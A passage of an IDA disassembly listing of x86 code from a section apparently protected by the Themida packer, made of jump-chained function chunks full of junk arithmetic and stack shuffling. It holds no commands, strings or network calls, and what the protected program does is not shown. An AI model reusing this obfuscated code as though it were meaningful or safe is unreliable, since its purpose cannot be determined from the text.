; ---------------------------------------------------------------------------


loc_58BC76:				; CODE XREF: sub_585452+5FABj
		or	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58BC80:				; CODE XREF: sub_58EFBD-6CA9j
		mov	edx, 713E5592h
		sub	edx, 630EFE52h
		or	eax, edx
		pop	edx
		shr	eax, 7
		add	eax, 7BD6E880h
		jmp	loc_5881E0
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DA2E


loc_58BC9B:				; CODE XREF: sub_58DA2E-262Aj
		mov	bl, 92h
		xor	ah, bl
		jmp	loc_58CDF6
; END OF FUNCTION CHUNK	FOR sub_58DA2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5878BB


loc_58BCA4:				; CODE XREF: sub_5878BB+3A9Ej
		pop	dword ptr [edi+24h]
; END OF FUNCTION CHUNK	FOR sub_5878BB

; =============== S U B	R O U T	I N E =======================================



sub_58BCA7	proc near		; CODE XREF: sub_585452+6C4Aj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00584255 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00585F32 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058640A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00586C5C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005888E0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00589CBF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058A9D9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058BCE2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F733 SIZE 0000002D BYTES

		push	ebx
		jmp	loc_58BCE2
sub_58BCA7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58BCAD:				; CODE XREF: sub_589967+9BAj
		xchg	edx, [esp+0]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_58D081
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BCBE:				; CODE XREF: sub_585452+6D1j
		mov	[esp+4+var_4], eax
		jmp	loc_589C44
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58BCC6:				; CODE XREF: Themida_:0058F05Fj
		pop	ebp
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 55047E82h
		jmp	loc_586EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BCA7


loc_58BCE2:				; CODE XREF: sub_58BCA7+1j
		push	esp
		pop	ebx
		push	esi
		push	ebx
		push	ecx
		jmp	loc_58A9D9
; END OF FUNCTION CHUNK	FOR sub_58BCA7
; ---------------------------------------------------------------------------


loc_58BCEC:				; CODE XREF: Themida_:00589E86j
		push	small 43Ah
		mov	[esp], ax
		jmp	loc_589F65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58BCF9:				; CODE XREF: sub_589967-3A14j
		add	eax, 4
		push	esi
		mov	esi, 74BC2FD9h
		push	ebp
		mov	ebp, 1D658E1h
		shl	ebp, 2
		dec	ebp
		jmp	loc_58DAD1
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------


loc_58BD13:				; CODE XREF: Themida_:0058DFA2j
		push	ebx
		jmp	loc_58B6C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589972


loc_58BD19:				; CODE XREF: sub_589972+3960j
		mov	eax, [esp+0]
		push	edx
		jmp	loc_58FF3A
; END OF FUNCTION CHUNK	FOR sub_589972
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_585DC4
; ---------------------------------------------------------------------------


loc_58BD2A:				; CODE XREF: Themida_:00588987j
		or	ebx, ebp
		jmp	loc_58E739
; ---------------------------------------------------------------------------


loc_58BD31:				; CODE XREF: Themida_:00589754j
		mov	ecx, 2
		jmp	loc_585284
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58BD3B:				; CODE XREF: sub_58EFBD-A0B0j
		mov	ecx, [ebx]
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		push	[esp-8+arg_4]
		pop	eax
		jmp	loc_5884FB
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BD4C:				; CODE XREF: sub_585452+433j
		add	al, 0A1h
		jmp	loc_58E69B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58BD53:				; CODE XREF: Themida_:0058FEBDj
		add	eax, edi
		pop	edi
		mov	esi, [esp]
		jmp	loc_58984F
; ---------------------------------------------------------------------------


loc_58BD5E:				; CODE XREF: Themida_:0058BBD6j
		mov	[esp], bx
		jmp	loc_58DD2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BD67:				; CODE XREF: sub_585452+17F7j
		sub	al, bh
		pop	ebx
		sub	al, bl
		add	al, 9Dh
		push	edx
		mov	dh, 9Bh
		or	dh, 7Bh
		jmp	loc_58CAB1
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58BD79:				; CODE XREF: Themida_:005885D8j
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58BD7E:				; CODE XREF: Themida_:00585073j
		add	al, dl
		mov	dx, [esp]
		add	esp, 2
		sub	al, bl
		jmp	loc_583C98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BD91:				; CODE XREF: sub_585452+1C59j
		mov	ecx, 0B4B5F5Eh
		add	eax, ecx
		jmp	loc_584E82
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58BD9D:				; CODE XREF: sub_58C230-24B4j
		add	ebp, 0EFF41968h
		jmp	loc_58DA4C
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_583D0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BDB0:				; CODE XREF: sub_585452+9938j
		mov	[esp+4Ah+var_4C+2], eax
		push	esp
		mov	eax, [esp+4Eh+var_50+2]
		add	esp, 4
		push	3BCDh
		jmp	loc_588DB8
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58BDC7:				; CODE XREF: Themida_:00589207j
		mov	esi, ecx
		pop	ecx
		not	esi
		shl	esi, 3
		or	esi, 292370ACh
		inc	esi
		sub	esi, 6D7778B9h
		add	edx, esi
		jmp	loc_58ED1F
; ---------------------------------------------------------------------------


loc_58BDE3:				; CODE XREF: Themida_:0058C3BBj
		add	ebx, 657F59F2h
		mov	edx, ebx
		pop	ebx
		add	ecx, edx
		jmp	loc_585190
; ---------------------------------------------------------------------------


loc_58BDF3:				; CODE XREF: Themida_:0058E734j
		shr	dh, 8
		neg	dh
		neg	dh
		or	dh, 0Eh
		inc	dh
		sub	dh, 6Ah
		mov	ah, dh
		pop	edx
		push	eax
		mov	ah, 0B6h
		or	ah, 19h
		push	ebx
		mov	bl, 5Ah
		sub	ah, bl
		pop	ebx
		and	ah, 0BEh
		and	ah, 5Ch
		shl	ah, 8
		sub	ah, 77h
		mov	bh, ah
		pop	eax
		sub	bh, ah
		jmp	loc_58C004
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BE27:				; CODE XREF: sub_585452+94D1j
		add	ebp, 4
		jmp	loc_588B74
; ---------------------------------------------------------------------------


loc_58BE32:				; CODE XREF: sub_585452-16AEj
		mov	edx, [esp+4+var_4]
		add	esp, 4
		pop	ecx
		sub	al, bh
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp-4+arg_0]
		jmp	loc_58D652
; ---------------------------------------------------------------------------


loc_58BE56:				; CODE XREF: sub_585452+551Ej
		sub	ah, ch
		pop	cx
		sub	bl, 0FBh
		add	bl, ah
		push	edx
		mov	dh, 0Ah
		jmp	loc_58C6EF
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5756


loc_58BE67:				; CODE XREF: sub_5B5756-2A8E0j
		dec	dh
		mov	ch, dh
		pop	dx
		shl	ch, 5
		add	ch, 5Bh
		sub	ch, 1
		shl	ch, 2
		add	ch, 37h
		sub	al, 43h
		sub	al, 26h
		add	al, ch
		add	al, 26h
		push	ecx
		jmp	loc_587136
; END OF FUNCTION CHUNK	FOR sub_5B5756
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	393Dh
		jmp	loc_588EF4

; =============== S U B	R O U T	I N E =======================================



sub_58BE98	proc near		; CODE XREF: sub_586B0E+4282j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00584433 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00586935 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00587401 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00587798 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00587DE6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00589126 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058BC16 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D0CB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F3B6 SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 0FD44638h
		xor	edi, ecx
		push	[esp+4+var_4]
		jmp	loc_587401
sub_58BE98	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BEB0:				; CODE XREF: sub_585452+3168j
		xchg	ebp, [esp-6+arg_0+2]
		pop	esp
		jmp	sub_58A4F5
; ---------------------------------------------------------------------------


loc_58BEB9:				; CODE XREF: sub_585452+3E56j
		add	esp, 4
		add	eax, 0FFFFFFFFh
		jmp	loc_586DDE
; ---------------------------------------------------------------------------


loc_58BEC9:				; CODE XREF: sub_585452-2C7j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		xor	al, dh
		mov	dx, word ptr [esp+6+var_8+2]
		add	esp, 2
		add	bl, 8
		add	bl, al
		push	cx
		sub	esp, 4
		mov	[esp+8+var_8], edx
		push	eax
		mov	ah, 3Ah
		jmp	loc_589960
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58BEFB:				; CODE XREF: Themida_:00584A30j
		pop	edx
		add	cl, 0BCh
		mov	dh, cl
		jmp	loc_58E2BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BF06:				; CODE XREF: sub_585452+997Aj
		movzx	ax, byte ptr [eax]
		push	small 414Ah
		mov	word ptr [esp+0Eh+var_10+2], ax
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58BF17:				; CODE XREF: Themida_:00585F6Fj
		mov	[esp], edi
		mov	edi, 4
		sub	dword ptr [esp+4], 1A5B3F72h
		add	[esp+4], edi
		push	eax
		mov	eax, 1A5B3F72h
		add	[esp+8], eax
		pop	eax
		pop	edi
		jmp	loc_5896EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58BF3C:				; CODE XREF: sub_58EFBD-643Ej
		add	esp, 4


loc_58BF42:				; CODE XREF: sub_58EFBD-776Bj
					; sub_58EFBD-4854j
		push	eax
		push	ebx
		mov	ebx, 24h
		mov	eax, ebx
		pop	ebx
		add	eax, 76C11409h
		add	eax, edi
		jmp	loc_58DC47
; ---------------------------------------------------------------------------


loc_58BF58:				; CODE XREF: sub_58EFBD-29EAj
		xor	edx, ebp
		push	ebp
		push	709122C0h
		pop	ebp
		xor	edx, ebp
		jmp	loc_5895BC
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BF68:				; CODE XREF: sub_585452+3E4Ej
		push	[esp+0Ah+var_C+2]
		pop	ebp
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0Eh+var_10+2]
		jmp	loc_587AD0
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58BF88:				; CODE XREF: Themida_:00588AC5j
		mov	si, 22E1h
		mov	cx, si
		pop	si
		push	si
		mov	si, 7E9Bh
		sub	ax, si
		pop	si
		push	esi
		mov	si, 1C34h
		shl	si, 1
		not	si
		jmp	loc_58ADC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58BFAC:				; CODE XREF: sub_58EFBD-4C2Dj
		mov	esi, [esp-4+arg_0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		and	ebx, edx
		push	[esp-4+arg_0]
		pop	edx
		add	esp, 4
		or	ebx, ebx
		jnz	loc_58E9D8
		push	7817h
		jmp	loc_58757A
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BFDD:				; CODE XREF: sub_585452+28D6j
		mov	ah, bh
		mov	ebx, [esp-4+arg_0]
		jmp	loc_58E8F7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58DE21
; ---------------------------------------------------------------------------


loc_58C004:				; CODE XREF: Themida_:0058BE22j
		pop	eax
		mov	ch, bh
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_584408
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C013:				; CODE XREF: sub_585452+52B8j
		sub	al, bl
		pop	ebx
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	ecx
		jmp	loc_58B147
; ---------------------------------------------------------------------------


loc_58C022:				; CODE XREF: sub_585452+8951j
		pop	esi
		sub	edx, 309F3D87h
		add	edx, 0F43BC957h
		add	eax, edx
		pop	edx
		or	eax, 57DE534Bh
		jmp	loc_5852B9
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586A34


loc_58C03C:				; CODE XREF: sub_586A34+6B01j
		mov	eax, 5C843DC6h
		jmp	loc_5840B1
; END OF FUNCTION CHUNK	FOR sub_586A34
; ---------------------------------------------------------------------------


loc_58C046:				; CODE XREF: Themida_:00583C9Aj
		sub	esp, 4
		jmp	loc_588E4C
; ---------------------------------------------------------------------------


loc_58C04E:				; CODE XREF: Themida_:00586E1Ej
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	[esp], eax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58C060:				; CODE XREF: Themida_:0058F0A0j
		shr	si, 4
		shr	si, 5
		add	si, 6E9Eh
		jmp	loc_58F465
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_58C072:				; CODE XREF: sub_587574+2164j
		add	esp, 4
		sub	[edi+24h], ecx
		jmp	loc_58663A
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C080:				; CODE XREF: sub_585452+4A0Aj
		push	0
		sub	[esp+1Ah+var_1C+2], edi
		pop	edi
		add	edi, 2B7F9E77h
		and	eax, edi
		mov	edi, [esp+16h+var_18+2]
		add	esp, 4
		or	eax, eax
		jz	sub_58BCA7
		push	dword ptr [edi+1Ch]
		push	[esp+16h+var_18+2]
		pop	ecx
		jmp	loc_58FF5D
; ---------------------------------------------------------------------------


loc_58C0AE:				; CODE XREF: sub_585452+916Aj
		xor	eax, 0A8F66822h
		jmp	loc_589D81
; ---------------------------------------------------------------------------


loc_58C0B8:				; CODE XREF: sub_585452+8435j
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	ebx
		jmp	loc_5892F9
; ---------------------------------------------------------------------------


loc_58C0C4:				; CODE XREF: sub_585452+8FA9j
		sub	ebp, 4
		xchg	ebp, [esp+1Ah+var_1C+2]
		jmp	loc_5898F2
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C0D2:				; CODE XREF: Themida_:0058958Aj
		mov	ebp, 6D00624Ch
		push	ebx
		mov	ebx, 3C2D7CB0h
		shr	ebx, 7
		push	0
		add	dword ptr [esp], 737D3046h
		sub	[esp], ebx
		sub	dword ptr [esp], 737D3046h
		pop	ebx
		push	ebp
		mov	ebp, 5EB57869h
		and	ebx, ebp
		pop	ebp
		sub	ebx, 0E4DD508h
		jmp	loc_58571F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C10B:				; CODE XREF: sub_585452+5848j
		push	dword ptr [edi+1Ch]
		jmp	loc_58CB71
; ---------------------------------------------------------------------------


loc_58C113:				; CODE XREF: sub_585452+2C5Bj
		mov	[esp-6+arg_0+2], ecx
		push	esp
		mov	ecx, [esp+0]
		add	esp, 4
		push	edi
		mov	edi, 67D8666Dh
		jmp	loc_58C84B
; ---------------------------------------------------------------------------


loc_58C128:				; CODE XREF: sub_585452+A401j
		pop	esp
		retn
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		jmp	loc_587547
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C12F:				; CODE XREF: sub_585452-86Fj
		add	[esp-1Ch+arg_16+2], eax
		sub	[esp-1Ch+arg_16+2], 6801D10h
		push	ecx
		mov	ecx, 4F2B74B1h
		sub	[esp-18h+arg_16+2], ecx
		jmp	loc_584BCA
; ---------------------------------------------------------------------------


loc_58C148:				; CODE XREF: sub_585452+E7Aj
		xchg	esi, [esp+3Eh+var_40+2]
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589C10


loc_58C150:				; CODE XREF: sub_589C10+459Aj
		mov	eax, 92EB8F7Bh
		jmp	loc_5894BF
; END OF FUNCTION CHUNK	FOR sub_589C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C15A:				; CODE XREF: sub_585452+8143j
		mov	edi, 31080007h
		shr	edi, 8
		push	ebp
		mov	ebp, 280E20ACh
		inc	ebp
		xchg	edi, ebp
		inc	edi
		xchg	edi, ebp
		and	ebp, 705F2F5Fh
		push	0
		sub	[esp+46h+var_48+2], ebp
		pop	ebp
		or	ebp, 3F3704F1h
		push	ebx
		mov	ebx, 0E6E6FCDh
		sub	ebx, 0C684F09h
		sub	ebx, 4398572Eh
		sub	ebp, ebx
		pop	ebx
		xor	edi, ebp
		pop	ebp
		add	edi, 0BF2F0975h
		push	ecx
		jmp	loc_589820
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58960C


loc_58C1A7:				; CODE XREF: sub_58960C+16j
		mov	esi, ebp
		jmp	loc_5851E0
; END OF FUNCTION CHUNK	FOR sub_58960C
; ---------------------------------------------------------------------------


loc_58C1AE:				; CODE XREF: Themida_:0058AFC8j
		mov	[esp], eax
		mov	eax, 4E9D65FBh
		inc	eax
		dec	eax
		xor	eax, 4D1048DBh
		mov	edx, eax
		pop	eax
		push	edx
		not	dword ptr [esp]
		pop	edx
		add	edx, 1
		push	edi
		mov	edi, 7B390643h
		sub	edx, edi
		jmp	loc_58A21E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C1D5:				; CODE XREF: sub_585452-134j
		add	ecx, ebx
		jmp	loc_58DB1D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, 0EB24694h
		or	ecx, 0A753E35h
		not	ecx
		jmp	loc_5891F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C1FC:				; CODE XREF: sub_585452+7742j
		xor	al, ch
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 2
		xchg	eax, [esp+4+var_4]
		pop	esp
		mov	[esp+0], dx
		jmp	loc_58D2A7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C219:				; CODE XREF: Themida_:0058440Ej
		add	al, 0E5h
		sub	al, 4Bh
		jmp	loc_58CE02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C222:				; CODE XREF: sub_585452+5114j
		mov	ebx, 69990411h
		add	ebp, ebx
		pop	ebx
		pop	esi
		jmp	loc_58ACD5
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58C230	proc near		; CODE XREF: sub_585452+6A9j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00583F60 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00584BE8 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005853D8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058665C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00587263 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00587326 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00587D3A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005887CC SIZE 00000050 BYTES
; FUNCTION CHUNK AT 00588D38 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00588E2F SIZE 00000001 BYTES
; FUNCTION CHUNK AT 005891D9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005898BE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00589D65 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058B5A5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058B82A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058BAF8 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058BD9D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C2C6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C8A4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058CC40 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058D333 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058D370 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D522 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058D954 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058DA4C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058ED45 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058F2A6 SIZE 00000013 BYTES

		push	ebx
		add	[esp-4+arg_0], 772D3419h
		pop	ebp
		sub	ebp, 772D3419h
		pop	ebx
		add	[esp+4], ebp
		jmp	loc_58B5A5
sub_58C230	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C249:				; CODE XREF: sub_585452+8B99j
		add	esp, 4
		pop	eax
		xor	eax, 46E87530h
		mov	ebx, [esp+32h+var_34+2]
		add	esp, 4
		jmp	loc_589DBA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A170


loc_58C25D:				; CODE XREF: sub_58A170-5894j
		sub	al, ch
		jmp	loc_58FEA2
; END OF FUNCTION CHUNK	FOR sub_58A170
; ---------------------------------------------------------------------------


loc_58C264:				; CODE XREF: Themida_:00586EECj
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58E1EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C272:				; CODE XREF: sub_585452+8C8Cj
		mov	[esp+2Eh+var_30+2], edx
		push	esp
		push	[esp+32h+var_34+2]
		pop	edx
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+2Eh+var_30+2]
		xor	[esp+2Eh+var_30+2], edx
		xor	edx, [esp+2Eh+var_30+2]
		mov	esp, [esp+2Eh+var_30+2]
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EA34


loc_58C29A:				; CODE XREF: sub_58EA34-1A6Fj
		cmp	cx, ax
		pushf
		jmp	loc_58FDB9
; END OF FUNCTION CHUNK	FOR sub_58EA34
; ---------------------------------------------------------------------------


loc_58C2A3:				; CODE XREF: Themida_:00584D9Cj
		mov	dx, [esp]
		add	esp, 2
		add	al, bh
		pop	ebx
		sub	al, 5Ah
		sub	al, 41h
		sub	al, bl
		sub	esp, 2
		mov	[esp], bx
		push	ecx
		push	edx
		mov	dh, 0C3h
		add	dh, 8Ah
		jmp	loc_585B0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58C2C6:				; CODE XREF: sub_58C230-9F7j
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_58665C
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------


loc_58C2D4:				; CODE XREF: Themida_:0058AD1Dj
		mov	[esp], bp
		push	si
		jmp	loc_58E487
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C2DF:				; CODE XREF: sub_585452+41B5j
		pop	eax
		sub	ecx, 4
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		mov	ebx, 4
		jmp	loc_58D166
; ---------------------------------------------------------------------------


loc_58C2FA:				; CODE XREF: sub_585452+71E5j
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		mov	ax, word ptr [esp-4+arg_0]
		sub	esp, 4
		mov	[esp+0], eax
		push	2524h
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	eax
		jmp	loc_589130
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58C31F	proc near		; CODE XREF: sub_585452+2513j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058837B SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00589D89 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B381 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C8DB SIZE 0000000B BYTES

		push	ebp
		push	eax
		mov	eax, 6FB63553h
		jmp	loc_58B381
sub_58C31F	endp

; ---------------------------------------------------------------------------


loc_58C32B:				; CODE XREF: Themida_:0058E972j
		mov	[esp], ecx
		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		pop	ebx
		add	eax, ecx
		pop	ecx
		jmp	loc_586304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58C33F:				; CODE XREF: sub_585452+8CB0j
		shr	eax, 5
		shr	eax, 1
		jmp	loc_589600
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58C349:				; CODE XREF: Themida_:0058F3B1j
		mov	eax, [esp]
		add	esp, 4
		sub	bl, al
		add	bl, 2Bh
		push	ax
		mov	ah, 2Fh
		jmp	loc_584FD6
; ---------------------------------------------------------------------------


loc_58C360:				; CODE XREF: Themida_:00589B4Ej
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58C365:				; CODE XREF: sub_58EFBD-A734j
		shl	edi, 7
		jmp	loc_58FE97
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DEA3


loc_58C36D:				; CODE XREF: sub_58DEA3+9j
		and	dl, 4Ch
		inc	dl
		push	edx
		not	byte ptr [esp+0]
		pop	edx
		and	dl, 31h
		push	ecx
		mov	cl, 0A2h
		sub	dl, cl
		jmp	loc_58477B
; END OF FUNCTION CHUNK	FOR sub_58DEA3
; ---------------------------------------------------------------------------


loc_58C384:				; CODE XREF: Themida_:0058540Fj
		pop	esi
		xor	edx, 75F26208h
		add	edx, 690F7C31h
		or	edx, 54876853h
		push	ebx
		mov	ebx, 56E75108h
		and	ebx, 4AFD485Ch
		jmp	loc_58E65D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A170


loc_58C3A8:				; CODE XREF: sub_58A170-2CB4j
		sub	cl, 37h
		sub	cl, 87h
